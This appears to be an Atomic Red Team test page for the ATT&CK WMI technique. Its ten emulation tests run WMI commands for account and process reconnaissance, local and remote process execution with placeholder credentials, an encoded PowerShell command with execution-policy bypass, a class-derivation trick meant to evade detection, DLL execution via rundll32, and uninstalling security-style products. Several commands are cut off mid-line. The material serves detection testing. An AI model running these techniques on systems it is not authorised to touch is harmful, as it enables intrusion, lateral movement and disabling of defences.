T1047 - Windows Management Instrumentation

Description from ATT&CK

> Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM) and [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) (WinRM).(Citation: MSDN WMI) Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.(Citation: MSDN WMI)(Citation: FireEye WMI 2015)
> An adversary can use WMI to interact with local and remote systems and use it as a means to execute various behaviors, such as gathering information for Discovery as well as remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI SANS 2015) (Citation: FireEye WMI 2015)

Atomic Tests

Atomic Test #1 - WMI Reconnaissance Users

An adversary might use WMI to list all local User Accounts. When the test completes , there should be local user accounts information displayed on the command line.

Supported Platforms: Windows

auto_generated_guid: c107778c-dcf5-47c5-af2e-1d058a3df3ea

Attack Commands: Run with `command_prompt`!

```
wmic useraccount get /ALL /format:csv
```

Atomic Test #2 - WMI Reconnaissance Processes

An adversary might use WMI to list Processes running on the compromised host. When the test completes , there should be running processes listed on the command line.

Supported Platforms: Windows

auto_generated_guid: 5750aa16-0e59-4410-8b9a-8a47ca2788e2

Attack Commands: Run with `command_prompt`!

```
wmic process get caption,executablepath,commandline /format:csv
```

Atomic Test #3 - WMI Reconnaissance Software

An adversary might use WMI to list installed Software hotfix and patches. When the test completes, there should be a list of installed patches and when they were installed.

Supported Platforms: Windows

auto_generated_guid: 718aebaa-d0e0-471a-8241-c5afa69c7414

Attack Commands: Run with `command_prompt`!

```
wmic qfe get description,installedOn /format:csv
```

Atomic Test #4 - WMI Reconnaissance List Remote Services

An adversary might use WMI to check if a certain Remote Service is running on a remote device. When the test completes, a service information will be displayed on the screen if it exists. A common feedback message is that "No instance(s) Available" if the service queried is not running. A common error

message is "Node - (provided IP or default) ERROR Description =The RPC server is unavailable" if the provided remote host is unreacheable

Supported Platforms: Windows

auto_generated_guid: 0fd48ef7-d890-4e93-a533-f7dedd5191d3

Inputs:

Name	Description	Type	Default Value
node	Ip Address	String	127.0.0.1
service_search_string	Name Of Service	String	Spooler

Attack Commands: Run with `command_prompt`!

```
wmic /node:"#{node}" service where (caption like "%#{service_search_string}%")
```

Atomic Test #5 - WMI Execute Local Process

This test uses wmic.exe to execute a process on the local host. When the test completes , a new process will be started locally .A notepad application will be started when input is left on default.

Supported Platforms: Windows

auto_generated_guid: b3bdfc91-b33e-4c6d-a5c8-d64bee0276b3

Inputs:

Name	Description	Type	Default Value
process_to_execute	Name or path of process to execute.	String	notepad.exe

Attack Commands: Run with `command_prompt`!

```
wmic process call create #{process_to_execute}
```

Cleanup Commands:

```
wmic process where name='#{process_to_execute}' delete >nul 2>&1
```

Atomic Test #6 - WMI Execute Remote Process

This test uses wmic.exe to execute a process on a remote host. Specify a valid value for remote IP using the node parameter. To clean up, provide the same node input as the one provided to run the test A common error message is "Node - (provided IP or default) ERROR Description =The RPC server is unavailable" if the default or provided IP is unreachable

Supported Platforms: Windows

auto_generated_guid: 9c8ef159-c666-472f-9874-90c8d60d136b

Inputs:

Name	Description	Type	Default Value
node	Ip Address	String	127.0.0.1
user_name	Username	String	DOMAIN\Administrator
password	Password	String	P@ssw0rd1
process_to_execute	Name or path of process to execute.	String	notepad.exe

Attack Commands: Run with `command_prompt`!

```
wmic /user:#{user_name} /password:#{password} /node:"#{node}" process call create #
```

Cleanup Commands:

```
wmic /user:#{user_name} /password:#{password} /node:"#{node}" process where name='#
```

Atomic Test #7 - Create a Process using WMI Query and an Encoded Command

Solarigate persistence is achieved via backdoors deployed via various techniques including using PowerShell with an EncodedCommand Powershell -nop -exec bypass -EncodedCommand Where the –EncodedCommand, once decoded, would resemble: Invoke-WMIMethod win32_process -name create -argumentlist 'rundll32 c:\windows\idmu\common\ypprop.dll _XInitImageFuncPtrs' -ComputerName WORKSTATION The EncodedCommand in this atomic is the following: Invoke-WmiMethod -Path win32_process -Name create -ArgumentList notepad.exe You should expect to see notepad.exe running after execution of this test. Solarigate Analysis from Microsoft

Supported Platforms: Windows

auto_generated_guid: 7db7a7f9-9531-4840-9b30-46220135441c

Attack Commands: Run with `command_prompt`!

```
powershell -exec bypass -e SQBuAHYAbwBrAGUALQBXAG0AaQBNAGUAdABoAG8AZAAgAC0AUABhAHQA
```

Atomic Test #8 - Create a Process using obfuscated Win32_Process

This test tries to mask process creation by creating a new class that inherits from Win32_Process. Indirect call of suspicious method such as Win32_Process::Create can break detection logic. Cybereason blog post No Win32_ProcessNeeded

Supported Platforms: Windows

auto_generated_guid: 10447c83-fc38-462a-a936-5102363b1c43

Inputs:

Name	Description	Type	Default Value
new_class	Derived class name	String	Win32_Atomic
process_to_execute	Name or path of process to execute.	String	notepad.exe

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
$Class = New-Object Management.ManagementClass(New-Object Management.ManagementPatl
$NewClass = $Class.Derive("#{new_class}")
$NewClass.Put()
Invoke-WmiMethod -Path #{new_class} -Name create -ArgumentList #{process_to_execut
```

Cleanup Commands:

```
$CleanupClass = New-Object Management.ManagementClass(New-Object Management.Manage
try { $CleanupClass.Delete() } catch {}
```

Atomic Test #9 - WMI Execute rundll32

This test uses wmic.exe to execute a DLL function using rundll32. Specify a valid value for remote IP using the node parameter.

Supported Platforms: Windows

auto_generated_guid: 00738d2a-4651-4d76-adf2-c43a41dfb243

Inputs:

Name	Description	Type	Default Value
node	Ip Address	String	127.0.0.1
dll_to_execute	Path to DLL.	String	$env:TEMP\calc.dll

function_to_execute	Name of DLL function to call	String	StartW

Attack Commands: Run with `powershell`!

```
wmic /node:#{node} process call create "rundll32.exe #{dll_to_execute} #{function_
```

Cleanup Commands:

```
taskkill /f /im calculator.exe
```

Dependencies: Run with `powershell`!

Description: DLL with function to execute must exist on disk at specified location (#{dll_to_execute})

Check Prereq Commands:

```
if (Test-Path #{dll_to_execute}) {exit 0} else {exit 1}
```

Get Prereq Commands:

```
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atom
```

Atomic Test #10 - Application uninstall using WMIC

Emulates uninstalling applications using WMIC. This method only works if the product was installed with an msi file. APTs have been seen using this to uninstall security products.

Supported Platforms: Windows

auto_generated_guid: c510d25b-1667-467d-8331-a56d3e9bc4ff

Inputs:

Name	Description	Type	Default Value
node	Computer the action is being executed against but defaults to the localhost.	string	127.0.0.1
product	Enter the product name being uninstalled. This will default to TightVNC.	String	Tightvnc

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
wmic /node:"#{node}" product where "name like '#{product}%%'" call uninstall
```

Cleanup Commands:

```
msiexec /i PathToAtomicsFolder\T1047\bin\tightvncinstaller.msi /qn /norestart
```

Dependencies: Run with `powershell`!

Description: TightVNC must be installed.

Check Prereq Commands:

```
if ((Test-Path "C:\Program Files\TightVNC\tvnviewer.exe")-Or (Test-Path "C:\Prograı
```

Get Prereq Commands:

```
Invoke-WebRequest 'https://www.tightvnc.com/download/2.8.63/tightvnc-2.8.63-gpl-se
start-sleep -s 10
msiexec /i PathToAtomicsFolder\T1047\bin\tightvncinstaller.msi /qn /norestart
start-sleep -s 15
```